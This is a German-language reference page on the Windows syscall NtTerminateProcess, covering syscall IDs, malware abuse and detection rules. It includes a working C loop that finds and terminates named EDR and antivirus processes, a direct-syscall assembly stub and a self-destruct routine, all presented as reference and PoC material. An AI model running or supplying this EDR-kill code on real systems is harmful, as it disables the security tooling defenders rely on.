NtTerminateProcess
Beendet einen Zielprozess samt aller Threads mit einem angegebenen Exit-Status.
Prototyp
NTSTATUS NtTerminateProcess( HANDLE ProcessHandle, NTSTATUS ExitStatus );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| ProcessHandle | HANDLE | in | Handle auf den zu beendenden Prozess. Erfordert PROCESS_TERMINATE. NULL bedeutet „alle Threads des aktuellen Prozesses außer dem Aufrufer beenden“. |
| ExitStatus | NTSTATUS | in | Exit-Code, der von GetExitCodeProcess gemeldet und im Prozessobjekt gespeichert wird. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x2C | win10-1507 |
| Win10 1607 | 0x2C | win10-1607 |
| Win10 1703 | 0x2C | win10-1703 |
| Win10 1709 | 0x2C | win10-1709 |
| Win10 1803 | 0x2C | win10-1803 |
| Win10 1809 | 0x2C | win10-1809 |
| Win10 1903 | 0x2C | win10-1903 |
| Win10 1909 | 0x2C | win10-1909 |
| Win10 2004 | 0x2C | win10-2004 |
| Win10 20H2 | 0x2C | win10-20h2 |
| Win10 21H1 | 0x2C | win10-21h1 |
| Win10 21H2 | 0x2C | win10-21h2 |
| Win10 22H2 | 0x2C | win10-22h2 |
| Win11 21H2 | 0x2C | win11-21h2 |
| Win11 22H2 | 0x2C | win11-22h2 |
| Win11 23H2 | 0x2C | win11-23h2 |
| Win11 24H2 | 0x2C | win11-24h2 |
| Server 2016 | 0x2C | winserver-2016 |
| Server 2019 | 0x2C | winserver-2019 |
| Server 2022 | 0x2C | winserver-2022 |
| Server 2025 | 0x2C | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 2C 00 00 00 mov eax, 0x2C F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
NtTerminateProcess hält SSN `0x2C` über alle Windows-10-/11-/Server-Builds. Es ist die Kernel-Implementierung hinter TerminateProcess / ExitProcess und wird auch implizit von `_exit` der C-Runtime und von SEH-Unhandled-Exception-Finalizern aufgerufen. Aufruf mit ProcessHandle == NULL ist eine dokumentierte Abkürzung, um alle Threads des aktuellen Prozesses außer dem Aufrufer zu beenden — die zweite Hälfte des `ExitProcess`-Teardowns.
Häufige Malware-Nutzung
Der definierende Missbrauch ist das **EDR-/AV-Killing** (T1562.001). Moderne Ransomware (Conti, LockBit, BlackCat/ALPHV, Royal, Akira) und Post-Exploitation-Frameworks koppeln routinemäßig einen verwundbaren BYOVD-Treiber (zemana, gmer, RTCore64) mit einer User-Mode-Binary, die die Prozessliste durchläuft, gegen eine hartkodierte EDR-Namens-Allowlist matcht (MsMpEng, Sense, CSFalconService, elastic-agent, ...) und entweder in den Kernel absteigt, um ZwTerminateProcess direkt aufzurufen, oder — sobald der Schutz-Callback des EDR neutralisiert ist — NtTerminateProcess aus dem User-Mode mit PROCESS_TERMINATE aufruft. Weitere Nutzungen: einen injizierten Helper-Prozess nach Lateral-Movement-Payload-Übergabe abbrechen und selbstzerstörende Dropper nach dem Übergang in den Second Stage.
Erkennungsmöglichkeiten
PsSetCreateProcessNotifyRoutineEx-Callbacks feuern beim Prozessende mit `Create` == FALSE und enthalten sowohl Terminator- als auch Opfer-PID; das ist die Top-Telemetrie. Sysmon Event ID 5 (`ProcessTerminate`) ist deutlich leichter und ohne Terminator-Feld. ETW `Microsoft-Windows-Kernel-Process/ProcessStop` liefert dieselben Daten. Hochauflösende Regel: jeder Nicht-System-, Nicht-csrss-Prozess, der einen Prozess beendet, dessen Image-Pfad unter `Program Files\Windows Defender`, `Program Files\Microsoft\Windows Defender Advanced Threat Protection`, `Program Files\CrowdStrike`, `Program Files\SentinelOne` oder ähnlichen EDR-Wurzeln liegt. Mit EDR-Selbstschutz-Telemetrie kombinieren (PPL-Verletzungsversuche an Defenders `MsMpEng.exe`).
Direkte Syscall-Beispiele
asmx64 direct stub
; Direct syscall stub for NtTerminateProcess (SSN 0x2C, all builds)
NtTerminateProcess PROC
mov r10, rcx ; syscall convention
mov eax, 2Ch ; SSN
syscall
ret
NtTerminateProcess ENDPcEDR kill loop (defensive PoC)
// Defensive PoC: enumerate processes, match against an EDR allowlist,
// and call NtTerminateProcess directly. Assumes prerequisites (token theft
// to SYSTEM, EDR protection callback already stripped via BYOVD) are met.
#include <windows.h>
#include <tlhelp32.h>
#include <wchar.h>
typedef NTSTATUS (NTAPI *pNtTerminateProcess)(HANDLE, NTSTATUS);
static const wchar_t *kTargets[] = {
L"MsMpEng.exe", L"MsSense.exe", L"CSFalconService.exe",
L"elastic-agent.exe", L"SentinelAgent.exe", NULL,
};
void KillEDRs(void) {
pNtTerminateProcess NtTerminateProcess = (pNtTerminateProcess)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtTerminateProcess");
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { sizeof pe };
for (BOOL ok = Process32FirstW(snap, &pe); ok; ok = Process32NextW(snap, &pe)) {
for (size_t i = 0; kTargets[i]; ++i) {
if (_wcsicmp(pe.szExeFile, kTargets[i]) == 0) {
HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
if (h) { NtTerminateProcess(h, 0); CloseHandle(h); }
}
}
}
CloseHandle(snap);
}rustself-destruct on completion
// Cargo: windows-sys = "0.59" (Win32_System_Threading, Win32_Foundation)
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::GetCurrentProcess;
extern "system" {
fn NtTerminateProcess(ProcessHandle: HANDLE, ExitStatus: i32) -> i32;
}
pub fn self_destruct(code: i32) -> ! {
unsafe { NtTerminateProcess(GetCurrentProcess(), code); }
loop {}
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20